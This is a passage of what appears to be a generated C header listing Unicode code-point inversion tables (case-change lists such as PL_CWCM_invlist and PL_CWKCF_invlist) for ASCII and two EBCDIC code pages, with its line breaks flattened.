0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB7, - 0x1FBD, - 0x1FC2, - 0x1FC5, - 0x1FC7, - 0x1FCD, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF7, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CWCM_invlist[] = { /* for ASCII/Latin1 */ - 233, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x138, - 0x139, - 0x18D, - 0x18E, - 0x19B, - 0x19C, - 0x1AA, - 0x1AC, - 0x1BA, - 0x1BC, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x221, - 0x222, - 0x234, - 0x23A, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3D2, - 0x3D5, - 0x3F6, - 0x3F7, - 0x3FC, - 0x3FD, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E00, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C71, - 0x2C72, - 0x2C74, - 0x2C75, - 0x2C77, - 0x2C7E, - 0x2CE4, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA730, - 0xA732, - 0xA770, - 0xA779, - 0xA788, - 0xA78B, - 0xA78E, - 0xA790, - 0xA794, - 0xA796, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1E900, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWCM_invlist[] = { /* for EBCDIC 1047 */ - 265, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x138, - 0x139, - 0x18D, - 0x18E, - 0x19B, - 0x19C, - 0x1AA, - 0x1AC, - 0x1BA, - 0x1BC, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x221, - 0x222, - 0x234, - 0x23A, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3D2, - 0x3D5, - 0x3F6, - 0x3F7, - 0x3FC, - 0x3FD, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E00, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C71, - 0x2C72, - 0x2C74, - 0x2C75, - 0x2C77, - 0x2C7E, - 0x2CE4, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA730, - 0xA732, - 0xA770, - 0xA779, - 0xA788, - 0xA78B, - 0xA78E, - 0xA790, - 0xA794, - 0xA796, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1E900, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWCM_invlist[] = { /* for EBCDIC 037 */ - 261, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x138, - 0x139, - 0x18D, - 0x18E, - 0x19B, - 0x19C, - 0x1AA, - 0x1AC, - 0x1BA, - 0x1BC, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x221, - 0x222, - 0x234, - 0x23A, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3D2, - 0x3D5, - 0x3F6, - 0x3F7, - 0x3FC, - 0x3FD, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E00, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C71, - 0x2C72, - 0x2C74, - 0x2C75, - 0x2C77, - 0x2C7E, - 0x2CE4, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA730, - 0xA732, - 0xA770, - 0xA779, - 0xA788, - 0xA78B, - 0xA78E, - 0xA790, - 0xA794, - 0xA796, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1E900, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CWKCF_invlist[] = { /* for ASCII/Latin1 */ - 1631, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xA0, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAD, - 0xAE, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0xD7, - 0xD8, - 0xE0, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x346, - 0x34F, - 0x350, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x37A, - 0x37B, - 0x37E, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x61C, - 0x61D, - 0x675, - 0x679, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10FC, - 0x10FD, - 0x115F, - 0x1161, - 0x13F8, - 0x13FE, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x1C80, - 0x1C89, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 